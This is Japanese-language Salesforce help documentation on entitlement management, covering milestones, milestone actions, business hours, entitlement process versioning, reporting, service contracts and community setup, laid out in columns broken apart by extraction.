ケースの進捗状況は、エンタイトル
メントプロセスのマイルストンへの
到達度となります。マイルストンを
クリックまたはマウスポインタを置
くと、マイルストンの詳細が表示さ
れます。次のアイコンはマイルスト
ンを表します。

[スケジュール]  (ケースページレイア
ウトでのみ使用可能)

•

完了したマイルストン
•

違反したマイルストン
スケジュールズームツールに沿って
ハンドルアイコン (  ) をドラッグす
ると、過去の将来のマイルストンが
表示されます。エンタイトルメント
プロセスがケースに適用される場合、
この項目が表示されます。

レコードのエンタイトルメントプロ
セスを停止できるようにします。こ

中止

れは、顧客の回答を待機していると
きに必要になる場合があります。

レコードのエンタイトルメントプロ
セスが停止した日時。

中止開始日

2. 変更内容を保存します。
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マイルストンのエンタイトルメントプロセスへの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

マイルストンをエンタイ
トルメントプロセスに追
加する
• 「エンタイトルメント

の管理」

エンタイトルメントプロセスにマイルストンを追加して、サポートプロセスの
必須ステップを定義します。
1. [設定] から、[クイック検索] ボックスに「エンタイトルメントプロセス」と入

力し、[エンタイトルメントプロセス] を選択します。
2. エンタイトルメントプロセスの名前をクリックします。
3. バージョン設定を使用している場合、[エンタイトルメントプロセスバージョ

ン] で、エンタイトルメントプロセスの名前を再度クリックします。
4. マイルストン関連リストで [新規] をクリックします。
5. マイルストンを選択します。
6. [タイムトリガ(分)] に、アクションを開始するまでにマイルストンを完了

するために必要な分数を入力します。
または、マイルストンタイプおよびケースや作業指示のプロパティに基づい
て、マイルストンのトリガ時間を動的に計算する場合、[タイムトリガ (分) の
Apex クラスを有効化] をクリックします。

メモ: このオプションを使用するには、
Support.MilestoneTriggerTimeCalculator Apexインターフェース
を実装するカスタム Apex クラスが必要になります。

7. [タイムトリガ (分) の Apex クラスを有効化] を選択した場合、ルックアップを使用して、動的に計算される
マイルストンの Apex クラスを指定します。

8. マイルストンをいつ開始するか選択します。

使用する条件目的選択

マイルストンの [目標日] は、レ
コードへの適用時期に基づきま

マイルストンをサポートレコード
に適用する (レコード条件が一致す
る) ときに、マイルストンの [目標
日] を計算できます。

マイルストン条件

す。繰り返しマイルストンの場合
に使用します。

メモ: 通常、エンタイトルメ
ントプロセスはレコード作
成時に開始しますが、マイ
ルストンは必ずしもすぐに
は適用されません。

マイルストンの [目標日] は、エ
ンタイトルメントプロセスの開始

エンタイトルメントプロセスが開
始すると (デフォルトでは、サポー
トレコードが作成されたとき)、マ

エンタイトルメントプロセス

を基準とします。たとえば、ケー
イルストンの [目標日] を計算し
ます。

スの最初のレスポンス時間と解決
時間によって常に、エンタイトル
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使用する条件目的選択

メントプロセスが開始される [目
標日] が計算されます。

9. 必要に応じて、このマイルストンの目標日の計算に適用する営業時間を選択します。営業時間がマイルス
トンに設定されていない場合は、エンタイトルメントプロセスの営業時間が使用されます。どちらも指定
しない場合、ケースまたは作業指示の営業時間が使用されます。

10. Salesforce がマイルストンを処理する順序を指定します。サポートレコードが複数のマイルストンの基準に
同時に一致する状況に適用されます。

11. レコードがマイルストンが適用されるために一致する必要のある基準を入力します。
• [条件が一致する]を選択し、マイルストンをレコードに適用するためにレコードが満たす必要のある検

索条件を選択します。たとえば、[優先度] 項目が [高] になっているケースにマイルストンを適用する
には、ケースの検索条件を「優先度 次の文字列に一致する 高」に設定します。
[数式の評価が true になる]を選択し、「True」または「False」の値を返す数式を入力します。Salesforce

は、数式が「True」を返した場合にルールを実行します。
• [数式の評価が true になる] を選択し、「True」または「False」の値を返す数式を入力します。数式が

「True」を返した場合、マイルストンをレコードに適用します。たとえば、[優先度] 項目が [高] で [発
生源]項目が [メール] または [Web] の場合、数式 (Case: Priority equals High) AND (Case: Case

Origin equals Email, Web) がマイルストンをケースに適用します。[ケース所有者] 項目は、数式
では使用できません。

12. [保存] をクリックします。

メモ: マイルストンは分と秒単位で測定されますが、開始時刻と終了時刻は分単位です。たとえば、マイ
ルストンが午前 11 時 10 分 40 秒にトリガされ、マイルストンを完了するまでの時間が 10 分であるとしま
す。この場合は、マイルストンの目標時刻は、午前 11 時 20 分 40 秒ではなく、午前 11 時 20 分 00 秒になり
ます。したがって、エージェントがマイルストンを完了するまでの残り時間は、10 分ではなく、9 分 20

秒になります。

関連トピック:

マイルストンの状況
マイルストンアクション
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マイルストンアクションのエンタイトルメントプロセスへの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

マイルストンアクション
をエンタイトルメントプ
ロセスに追加するには
• 「エンタイトルメント

の管理」

および

「アプリケーションの
カスタマイズ」

マイルストンアクションは、エンタイトルメントプロセスの各ステップ (マイル
ストン) で発生する、時間ベースのワークフローアクションです。エンタイトル
メントプロセスを作成し、エンタイトルメントプロセスにマイルストンを追加
した後、マイルストンにマイルストンアクションを追加します。
1. [設定] から、[クイック検索]ボックスに「エンタイトルメントプロセス」と入

力し、[エンタイトルメントプロセス] を選択します。
2. エンタイトルメントプロセスの名前をクリックします。
3. [マイルストン] 関連リストで、マイルストン名をクリックします。
4. 警告および違反アクションを追加するには、まずタイムトリガを追加しま

す。トリガを追加すると、ワークフローアクションを追加するオプションが
表示されます。成功時のアクションはマイルストンのタイムトリガを使用し
ます。

ヒント: マイルストンに違反があった直後に違反アクションを起動する
には、タイムトリガを 0 分に設定します。

5. [ワークフローアクションの追加] をクリックし、オプションを選択します。

例実行する内容ワークフローアクション

最初の対応マイルストン
が違反の場合にサポート
エージェントが顧客に電
話で通知する ToDo を作
成します。

ワークフロー ToDo の作
成

新規 ToDo

ケースに対する最初の対
応マイルストンが違反に

メールアラートの作成新規メール

近い場合、ケース所有者
に通知します。

最初の対応マイルストン
が違反に近い場合、ケー

項目自動更新の定義新規項目自動更新

スの [優先度] 項目を
[高] に更新します。

最初の対応マイルストン
が完了したら、パーツま

アウトバウンドメッセー
ジの定義

新規アウトバウンドメッ
セージ

たはサービスに関する
データを外部システムに
送信します。

既存のメールアラートを
使用して、このケースの

既存のアクションの選択既存のアクションの選択

最初の対応が違反に近い
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例実行する内容ワークフローアクション

場合にケース所有者に通知しま
す。

メモ: タイムトリガアクションは、Salesforce組織の営業時間内にのみ実行されます。各種のマイルストン
アクションには、最大 10 件のアクションと 10 件のタイムトリガを追加できます。

関連トピック:

マイルストンアクション

エンタイトルメントへのエンタイトルメントプロセスの適用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを編
集する
• エンタイトルメントに

対する「編集」

エンタイトルメントプロセスを作成したので、使用してみましょう。エンタイ
トルメントプロセスを顧客のエンタイトルメントに適用し、エンタイトルメン
トにリンクされたすべてのサポートレコードでそのプロセスが使用されるよう
にします。
1. エンタイトルメントに移動します。
2. [エンタイトルメントプロセス] 参照項目で、適用するプロセスを選択しま

す。

重要: エンタイトルメントプロセスを使用している場合は、顧客の作業
指示とケースを別々のエンタイトルメントで管理します。これは、エン
タイトルメントプロセスが、種別が一致するレコードのみで実行される
ためです。たとえば、[ケース] エンタイトルメントプロセスがエンタイ
トルメントに適用される場合、そのプロセスはエンタイトルメントに関
連付けられたケースでのみ実行されます。作業指示もエンタイトルメン
トに関連付けられている場合、プロセスは作業指示では実行されませ
ん。

3. [保存] をクリックします。

ヒント: エンタイトルメントテンプレートを設定している場合、エンタイ
トルメントプロセスをテンプレートに関連付けて、そのテンプレートを使
用して作成されたすべてのエンタイトルメントで、選択されたエンタイト
ルメントプロセスが自動的に使用されるようにすることができます。

関連トピック:

エンタイトルメントプロセスでのレコードの移動
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エンタイトルメントプロセスでのレコードの移動
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントプロセスがエンタイトルメントに適用される場合、エンタ
イトルメントにリンクされたすべてのサポートレコードでエンタイトルメント
プロセスが実行されます。ケースや作業指示のようなサポートレコードがエン
タイトルメントプロセス内でどのように移動するかを説明します。
1. サポートエージェントは、エンタイトルメントプロセスのあるエンタイトル

メントにレコードをリンクします。これを行うには、いくつかの方法があり
ます。
• エンタイトルメントの [ケース] または [作業指示] 関連リストからレコード

を作成する。
• レコードを作成してから、レコードの [エンタイトルメント] 参照項目を

使用して、適切なエンタイトルメントを選択する。

2. 作成日、またはカスタムの日付/時刻項目に基づいて、レコードがプロセスに投入されます。カスタムの日
付/時刻項目を使用して、プロセスに投入されるとトリガされるレコードの日付を編集できます。

3. Salesforce により、基準が合致するマイルストンがレコードに割り当てられます。たとえば、マイルストン
の条件が「優先度 次の文字列に一致する 高」で、ケースの優先度が「高」の場合、Salesforceはケースを「優
先度 次の文字列に一致する 高」のマイルストンに割り当てます。レコードは、一度に 1 つのマイルストン
に関連付けられます。プロセスを移動していく中で多数のマイルストンに関連付けられることもあります。

4. マイルストンのアクションは、レコードの警告、違反、または成功のワークフローアクションがいつ起動
するのか、起動するかどうかを決定します。

5. サポートエージェントは、レコードを更新して、マイルストンのアクションを完了します。
6. レコードが更新されると、レコードはエンタイトルメントプロセスを通過し、基準に合致するマイルスト

ンを開始します。
7. レコードは、カスタムの基準に基づいて、またはレコードが終了した場合にプロセスを終了します。
エンタイトルメントプロセス項目で絞り込むケースリストビューまたは作業指示リストビューを作成して、エ
ンタイトルメントが割り当てられたレコードを表示できます。

重要: レコードがエンタイトルメントプロセスを終了しても、マイルストンは自動的に [完了] とマークさ
れません。一意の条件に合致するマイルストンを自動的に完了する Apex トリガを作成する方法について
は、「ケースマイルストンの自動完了」を参照してください。

関連トピック:

エンタイトルメントの設定
エンタイトルメント管理の設定のチェックリスト
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エンタイトルメントに関するレポートの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメント管理
カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

エンタイトルメント管理
のカスタムレポートタイ
プに基づいてレポートを
作成および実行する
• 「レポートの作成とカ

スタマイズ」

カスタムレポートタイプを使用してレポート基準を定義します。ユーザは、こ
の基準を使用してエンタイトルメント、サービス契約、および契約品目名につ
いてレポートを実行し、作成できます。
エンタイトルメント管理を設定すると、Salesforce 組織には自動的に次のカスタ
ムレポートタイプが含まれます。

レポートタイプの場所説明カスタムレポートタイプ

取引先と取引先責任者取引先責任者 (指定された
発信者) を含むエンタイト
ルメントと取引先を示し
ます。

取引先責任者を含むエン
タイトルメントと取引先

カスタマーサポートレ
ポート

契約品目名 (商品) を含む
サービス契約を示しま
す。

契約品目名を含むサービ
ス契約

カスタマーサポートレ
ポート

エンタイトルメントを含
むサービス契約を示しま
す。

エンタイトルメントを含
むサービス契約

カスタマーサポートレ
ポート

マイルストンが関連する
ケースを示します。

マイルストンが関連する
ケース

メモ: このレポート
タイプはカスタマ
イズできません。

エンタイトルメント管理カスタムレポートタイプをカスタマイズする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「レポートタイプ」と入力し、[レポートタイプ] を選択します。
2. [すべてのカスタムレポートタイプ] ページからは、次の操作が実行できます。

• 新しいカスタムレポートタイプを定義する。主オブジェクトとしてエンタイトルメントを選択すること
はできません。

• カスタムレポートタイプ名、説明、レポートタイプカテゴリ、およびリリース状況を更新する。
• カスタムレポートタイプを削除する。

重要: カスタムレポートタイプを削除すると、カスタムレポートタイプに格納されたデータがすべ
て削除され、ごみ箱から元に戻すことはできません。
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ヒント: マイルストンが設定された作業指示のリストを組織に表示する場合は、[オブジェクトマイルス
トン] カスタムレポートタイプを使用して作業指示レポートを作成します。

関連トピック:

エンタイトルメントの設定
サービス契約の設定

エンタイトルメント管理での営業時間の機能
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サポートレコードがエンタイトルメントにリンクされている場合、レコード、
マイルストン、エンタイトルメントプロセス、およびエンタイトル自体でそれ
ぞれ別の営業時間を使用できます。これらの状況で、Salesforce が営業時間をど
のように使用するかについて説明します。
エンタイトルメントプロセスを含むレコードでは、営業時間は階層に従って適
用されます。Salesforce では、最も高いレベルで指定された営業時間を使用しま
す。
したがって、エンタイトルメントプロセスの営業時間はケースまたは作業指示
の営業時間を、マイルストンの営業時間はエンタイトルメントプロセスの営業
時間を上書きします。営業時間がマイルストンに設定されていない場合は、エ
ンタイトルメントプロセスの営業時間が使用されます。営業時間がマイルスト
ンおよびエンタイトルメントプロセスで指定されていない場合、ケースまたは
作業指示の営業時間が使用されます。
エンタイトルメントに営業時間を設定することもできます。エンタイトルメントからレコードを作成すると、
そのレコードはエンタイトルメントの営業時間を継承します。ただし、エンタイトルメントがエンタイトルメ
ントプロセスの一部である場合はエンタイトルメントの営業時間項目を空白のままにしておくことをお勧めし
ます。関連レコードには自動的にエンタイトルメントプロセスの営業時間が使用されます。
営業時間を設定するときは、次のベストプラクティスに従います。
• 営業時間が異なるレコードに同じエンタイトルメントプロセスを使用する場合は、エンタイトルメントプ

ロセスレベルで営業時間を設定します。たとえば、エンタイトルメントプロセスの営業時間を平日の 9 時
から 17 時に設定するとします。顧客がケースの夜間および週末の更新を要求する場合、個別に週 7 日 24 時
間の営業時間を使用した「顧客更新」マイルストンを作成できます。

• 重要度レベルによって異なる営業時間を使用するには、マイルストンレベルで営業時間を設定します。た
とえば、ケースの重要度レベルが上がった場合、より頻繁に顧客に連絡する必要があるかもしれません。
重要度レベルに従って営業時間を変更する「最終連絡」マイルストンを作成できますが、エンタイトルメ
ントプロセスのそれ以外のマイルストンは変更されません。

関連トピック:

エンタイトルメントプロセスの設定
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エンタイトルメントプロセスの更新
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントのバージョン管理により、エンタイトルメントプロセスが
有効なエンタイトルメントおよびサポートレコードに割り当てられていても、
複数のバージョンのエンタイトルメントプロセスを作成できます。
次の場合にエンタイトルメントのバージョン管理を使用します。
• 若干の違いがある複数のバージョンのエンタイトルメントプロセスを作成す

る
• ビジネスプロセスの変更を反映するエンタイトルメントプロセスを更新する
エンタイトルメントプロセスの季節ごとの更新、または前のバージョンへのロー
ルバックが必要な場合があります。

メモ: 複数のバージョンのエンタイトルメントプロセスを作成するには、
組織でエンタイトルメントのバージョン管理が有効になっている必要があ
ります。[設定] の [エンタイトルメントの設定] ページで [エンタイトルメン
トのバージョン管理の有効化] を選択します。
同じ名前のエンタイトルメントプロセスのバージョンを作成する場合、バー
ジョン番号やメモを使用すると、各バージョンを区別しやすくなります。
Salesforce では、作業しているバージョンを常に把握できるように、エンタ
イトルメントのバージョン管理を無効にすることができないようになって
います。

エンタイトルメントプロセスの新しいバージョンを作成すれば、次のいずれの変更も行えます。
• 名前
• 説明
• プロセスが有効かどうか
• バージョンがデフォルトかどうか
• 開始条件
• 終了条件
バージョンに関するメモを追加することもできます。これにより、特に同じプロセスの複数のバージョンが同
じ名前を持つ場合の区別が容易になります。
現在使用しているエンタイトルメントプロセスの新しいバージョンでは、新しいマイルストンを追加すること
ができますが、既存のものは編集できません。現在使用していないプロセスの新しいバージョンでは、新しい
マイルストンを追加することも、既存のものを編集することもできます。
エンタイトルメントプロセスの新しいバージョンを作成したら、以前使用していたバージョンに割り当てられ
たすべてのエンタイトルメントおよびサポートレコードに適用するか、新しいエンタイトルメントおよびサ
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ポートレコードにのみ適用するかを選択できます。エンタイトルメントプロセスのすべてのバージョンは、同
じ種類 (ケースまたは作業指示) である必要があります。

関連トピック:

新しいバージョンのエンタイトルメントプロセスの作成
新しいバージョンのエンタイトルメントプロセスの使用

新しいバージョンのエンタイトルメントプロセスの作成
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントプロ
セスを作成および更新す
る
• 「エンタイトルメント

の管理」

エンタイトルメントのバージョン管理により、エンタイトルメントプロセスが
有効なエンタイトルメントおよびサポートレコードに割り当てられていても、
複数のバージョンのエンタイトルメントプロセスを作成できます。複数のバー
ジョンのエンタイトルメントプロセスを Salesforce 組織で同時に使用できます。

メモ: 複数のバージョンのエンタイトルメントプロセスを作成するには、
組織でエンタイトルメントのバージョン管理が有効になっている必要があ
ります。[設定] の [エンタイトルメントの設定] ページで [エンタイトルメン
トのバージョン管理の有効化] を選択します。
同じ名前のエンタイトルメントプロセスのバージョンを作成する場合、バー
ジョン番号やメモを使用すると、各バージョンを区別しやすくなります。
Salesforce では、作業しているバージョンを常に把握できるように、エンタ
イトルメントのバージョン管理を無効にすることができないようになって
います。

1. [設定] から、[クイック検索]ボックスに「エンタイトルメントプロセス」と入
力し、[エンタイトルメントプロセス] を選択します。

2. 新しいバージョンを作成するエンタイトルメントプロセスの名前をクリック
します。

3. [エンタイトルメントプロセスバージョン] リストで、新しいバージョンを作
成するプロセスのバージョンをクリックします。

4. [エンタイトルメントプロセス詳細] ページで、[新しいバージョンを作成] をクリックします。
5. 新しいバージョンの詳細を追加します。次のベストプラクティスに従ってください。

• [バージョンメモ] 項目を使用して、作成しているバージョンとその他のバージョンの違いを説明しま
す。これにより、同じエンタイトルメントプロセスの複数のバージョンの違いを区別しやすくなりま
す。

• 名前はそのままにします。
• [有効] をクリックして、新しいバージョンを使用できるようにします。
• 新しいバージョンをプロセスのデフォルトのバージョンにする場合は、[デフォルト] をクリックしま

す。これにより、参照項目の検索が容易になります。

6. [保存] をクリックします。
保存したら、必要に応じてエンタイトルメントプロセスのマイルストンを変更できます。
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重要:

• 現在使用しているエンタイトルメントプロセスの新しいバージョンでは、新しいマイルストンを追
加することができますが、既存のものは編集できません。現在使用していないプロセスの新しい
バージョンでは、新しいマイルストンを追加することも、既存のものを編集することもできます。

• エンタイトルメントプロセスのすべてのバージョンは同じ種別である必要があります。

エンタイトルメントプロセスの新しいバージョンを作成しても、以前のバージョンを使用していたエンタイト
ルメントには自動的に適用されません。エンタイトルメントプロセスの新しいバージョンを既存のエンタイト
ルメントおよび新しいエンタイトルメントに適用する方法については、「新しいバージョンのエンタイトルメ
ントプロセスの使用」を参照してください。

関連トピック:

エンタイトルメントプロセスの更新

新しいバージョンのエンタイトルメントプロセスの使用
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントプロ
セスを作成および更新す
る
• 「エンタイトルメント

の管理」

エンタイトルメントプロセスの新しいバージョンを作成したら、以前のバージョ
ンに割り当てられたすべてのエンタイトルメントに適用するか、新しいエンタ
イトルメントにのみ適用するかを選択できます。エンタイトルメントプロセス
をエンタイトルメントに適用すると、プロセスはそのエンタイトルメントの有
効なサポートレコードにも適用されます。

メモ: 複数のバージョンのエンタイトルメントプロセスを作成するには、
組織でエンタイトルメントのバージョン管理が有効になっている必要があ
ります。[設定] の [エンタイトルメントの設定] ページで [エンタイトルメン
トのバージョン管理の有効化] を選択します。
同じ名前のエンタイトルメントプロセスのバージョンを作成する場合、バー
ジョン番号やメモを使用すると、各バージョンを区別しやすくなります。
Salesforce では、作業しているバージョンを常に把握できるように、エンタ
イトルメントのバージョン管理を無効にすることができないようになって
います。

新しいエンタイトルメントへのエンタイトルメントプロセスの適用
シナリオ: エンタイトルメントを作成して、特定のバージョンのエンタイトルメ
ントプロセスを適用します。
1. エンタイトルメントの [エンタイトルメントプロセス] 参照項目で必要なエン

タイトルメントプロセスを選択します。

ヒント:  [エンタイトルメントプロセス] 項目のルックアップアイコンをクリックしたら、[参照] ダイアロ
グボックスで [すべてのバージョン] を選択します。それ以外の場合は、既存のエンタイトルメントプロセ
スのデフォルトバージョンからのみ選択できます。

既存のエンタイトルメントへのエンタイトルメントプロセスの適用
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シナリオ: エンタイトルメントプロセスの新しいバージョンを作成し、以前のバージョンを使用していたすべ
てのエンタイトルメントを新しいバージョンに切り替えます。
1. [設定] から、[クイック検索]ボックスに「エンタイトルメントプロセス」と入力し、[エンタイトルメントプ

ロセス] を選択します。
2. 操作するエンタイトルメントプロセスの名前をクリックします。

[エンタイトルメントプロセス] のメインページのリストに、各プロセスのデフォルトバージョンが表示さ
れます。プロセス名をクリックすると、使用可能なすべてのバージョンのリストが表示されます。

3. エンタイトルメントプロセスの詳細ページで、既存のエンタイトルメント (およびデフォルトでそれらのエ
ンタイトルメントにリンクされたケースまたは作業指示) に適用する新しいバージョンの名前をクリックし
ます。

4. [新規更新ルール]をクリックします。
5. 更新前のエンタイトルメントプロセスのバージョンを選択します。

有効かどうかに関係なく、プロセスの他のどのバージョンからでも更新できます。
6. エンタイトルメントプロセスの古いバージョンと新しいバージョンの違いによっては、エンタイトルメン

トを新しいバージョンに更新すると、そのエンタイトルメントのサポートレコード (ケース、作業指示など)

でマイルストンの警告および違反アクションがトリガされることがあります。そのような警告および違反
アクションを回避するには、[新規マイルストンの警告と違反をトリガしない] を選択します。古いエンタ
イトルメントおよびサポートレコードで違反の警告がトリガされないように、このオプションを選択する
ことをお勧めします。

7. [保存] をクリックします。
更新ルールの詳細ページに、新しいプロセスを使用するように更新されるエンタイトルメントとサポート
レコードの予測数が表示されます。

8. [開始] をクリックして、更新プロセスを開始します。
通常、更新プロセスは 1 時間以内に完了しますが、更新されるエンタイトルメントおよびレコードの数によっ
て異なります。更新プロセスを通して更新ルールの詳細ページが定期的に更新され、処理されたエンタイトル
メントとレコードの数が表示されます。[停止] をクリックすると、更新をいつでも停止できます。
更新ルールに [完了] という状況が表示される場合は、すべての関連エンタイトルメントおよびサポートレ
コードが更新済みで、新しいバージョンのエンタイトルメントプロセスが使用されます。状況が[完了しまし
たが、例外があります] である場合は、エラーのために一部のレコードが新しいバージョンに更新されません
でした。更新されなかったレコードとその理由を調べるには、Salesforce サポートにお問い合わせください。

関連トピック:

エンタイトルメントプロセスの設定
エンタイトルメントプロセスの更新
新しいバージョンのエンタイトルメントプロセスの作成
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サービス契約の設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス契約を設定する
• 「エンタイトルメント

の管理」

および

「アプリケーションの
カスタマイズ」

サービス契約は、カスタマーサポートの種類について、ユーザと顧客の間に交
わされた契約です。サービス契約は、保証、登録内容、サービスレベル契約 (SLA)

など、さまざまな種類のカスタマーサポートを示します。

メモ: サービス契約を設定するには、エンタイトルメントが組織で有効に
なっている必要があります。

サービス契約のオブジェクト管理設定から、次の手順を実行します。
1. サービス契約項目をカスタマイズします。

ユーザがサービス契約に追加する情報を制御できるようになります。業種ま
たはサポートプロセスに固有のカスタムサービス契約項目を作成できます。

2. サービス契約のページレイアウトをカスタマイズします。
サービス契約でユーザに表示される項目および関連リストを指定できるよう
になります。次のカスタマイズについて考慮します。
• ユーザがサービス契約の状況 (有効、期限切れ、または無効) を簡単に確

認できるように、[状況アイコン] 項目を追加します。
• ユーザがあるサービス契約を別のサービス契約の親にするには、[親サー

ビス契約] 項目と [子サービス契約] 関連リストを追加します。ユーザが
サービス契約階層に最上位サービス契約を表示できるように、参照のみ
の [ルートサービス契約] 項目を追加することもできます。サービス契約
階層には、10,000 件までのサービス契約を含めることができます。

3. サービス契約項目に項目レベルセキュリティを設定します。
この設定により、ユーザがアクセスできるサービス契約項目を選択できます。

4. サービス契約に項目履歴管理を設定します。
項目値が変更された時期を確認できます。変更は、サービス契約の [サービス契約履歴] 関連リストに表示
されます。サービス契約のオブジェクト管理設定から項目セクションに移動し、[項目履歴管理の設定] を
クリックします。

5. [サービス契約] タブが Salesforce およびカスタムアプリケーションに表示されるようにします。
[サービス契約] タブは、ユーザがサービス契約や契約品目名を作成および編集する場所です。このタブを
アプリケーションに追加するか、Salesforce の既存のタブセットにこのタブを追加するようユーザに指示し
ます。[サービス契約] タブを表示するには、サービス契約の「参照」権限が必要です。

6. 取引先および取引先責任者ページレイアウトに [サービス契約] 関連リストを追加します。
取引先および取引先責任者のサービス契約を作成、更新および確認できます。

関連トピック:

エンタイトルメント管理の設定のチェックリスト
契約品目名の設定
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契約品目名の設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを使
用してサービス契約およ
び契約品目名を設定する
• 「エンタイトルメント

の管理」

および

「アプリケーションの
カスタマイズ」

サービス契約に含まれる商品を指定できるように契約品目名を設定します。契
約品目名は、サービス契約の [契約品目名] 関連リストにのみ表示され、契約の
関連リストには表示されません。Salesforce 組織が商品を使用する場合にのみ、
契約品目名を使用できます。

メモ: 契約品目名を設定するには、エンタイトルメントが組織で有効になっ
ている必要があります。

契約品目名のオブジェクト管理設定から、次の手順を実行します。
1. 契約品目名項目をカスタマイズします。

ユーザが契約品目名に追加する情報を制御できるようになります。業種また
はサポートプロセスに固有のカスタム契約品目名項目を作成できます。

2. 契約品目名ページレイアウトをカスタマイズします。
契約品目名でユーザに表示される項目および関連リストを指定できるように
なります。次のカスタマイズについて考慮します。
• ユーザが品目名の状況 (有効、期限切れ、または無効) を簡単に確認でき

るように、[状況アイコン] 項目を追加します。
• ユーザがある品目を別の品目の親にするには、[親契約品目名]項目と [子

契約品目名] 関連リストを追加します。契約品目名階層に最上位品目名を
リストする参照のみの [ルート契約品目名] 項目も追加できます。契約品
目名階層には、10,000 件までの品目を含めることができます。

3. その他のオブジェクトのページレイアウトをカスタマイズします。
ユーザが契約品目名項目を他のレコードに関連付ける方法を選択できるようになります。次のカスタマイ
ズについて考慮します。
• (必須) [契約品目名] 関連リストをサービス契約ページレイアウトに追加します。サービス契約の契約品

目名を作成、編集、削除できるようになります。
• [契約品目名] 関連リストを納入商品レイアウトに追加します。ユーザが納入商品と契約品目名の関連付

けを表示および変更できるようになります。
• [契約品目名]参照項目をエンタイトルメントページレイアウトに追加します。ユーザが品目名を特定の

エンタイトルメントに関連付けることができるようになります。

4. 契約品目名に項目レベルセキュリティを設定します。
ユーザがアクセスできる契約品目名項目を選択できます。

5. 契約品目名に項目履歴管理を設定します。
項目値が変更された時期を確認できます。変更は、契約品目名の [契約品目名履歴] 関連リストに表示され
ます。契約品目名のオブジェクト管理設定から項目セクションに移動し、[項目履歴管理の設定] をクリッ
クします。
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メモ: スケジュールは契約品目名に表示されず、コミュニティユーザは契約品目名にアクセスできませ
ん。

関連トピック:

エンタイトルメント管理の設定のチェックリスト

コミュニティでのエンタイトルメント管理の設定
エディション

使用可能なエディション:
Salesforce Classic

コミュニティを使用可能
なエディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition
(Service Cloud 付属)

エンタイトルメント管理
を使用可能なエディショ
ン: Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

コミュニティを作成、カ
スタマイズ、有効化する
• 「コミュニティの作成

および設定」かつ更新
するコミュニティのメ
ンバーであること

エンタイトルメント管理
を設定する
• 「エンタイトルメント

の管理」

ユーザライセンスを割り
当てる
• 「内部ユーザの管理」

コミュニティにエンタイトルメント管理を追加すると、顧客やパートナーが自
分のエンタイトルメントおよびサービス契約を表示できるようになります。契
約品目名はコミュニティに表示されません。
エンタイトルメントやサービス契約をコミュニティで公開する手順は、次のと
おりです。
1. ユーザプロファイルを更新します。

a. カスタマーコミュニティユーザプロファイル、カスタマーコミュニティ
プラスユーザプロファイル、またはパートナーコミュニティユーザプロ
ファイルをコピーし、エンタイトルメントやサービス契約の「参照」権
限を有効にします。

メモ: 詳細ページの下部にある [プロファイルの編集] をクリックし
て、新しいプロファイルを有効にします。

b. 必要に応じて、代理コミュニティモデレータのプロファイルで、エンタ
イトルメント取引先責任者に対する「作成」および「削除」権限を有効
にします。これにより、代理コミュニティモデレータはエンタイトルメ
ント取引先責任者を更新できます。

c. [エンタイトルメント] タブや [サービス契約] タブのタブ表示が [デフォル
トで表示] になっていることを確認します。

2. コミュニティに [エンタイトルメント] タブまたは [サービス契約] タブを追加
します。

3. コミュニティユーザに割り当てられたケースページレイアウトと作業指示
ページレイアウトに [エンタイトルメント名] 項目を追加します。これによ
り、ユーザはエンタイトルメントをケースと作業指示に追加できます。セル
フサービスコミュニティテンプレートを使用して作成したコミュニティで
は、作業指示は使用できません。

メモ: 内部サポートプロセスが公開されるのを避けるため、コミュニ
ティユーザのケースページレイアウトと作業指示ページレイアウトには
次の項目を追加しないことをお勧めします。
• エンタイトルメント処理開始時刻
• エンタイトルメント処理終了時刻
• 停止済み
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• 中止開始日

4. 必要に応じて、コミュニティモデレータに割り当てられた取引先ページレイアウトおよび取引先責任者ペー
ジレイアウトに [エンタイトルメント] 関連リストを追加します。これにより、コミュニティモデレータが
ケースを作成して適切なエンタイトルメントに自動的に関連付けることができます。

Field Service Lightning ヘルプ

Field Service Lightning を最大限に活用するための情報を見つけることができます。
はじめよう

• Field Service Lightning

• Field Service Lightning の計画
• Field Service Lightning の考慮事項

– Field Service Lightning の制限事項
– Field Service Lightning での場所の追跡
– 作業指示の使用に関する考慮事項

• サポートプロセスへの作業指示の適合方法
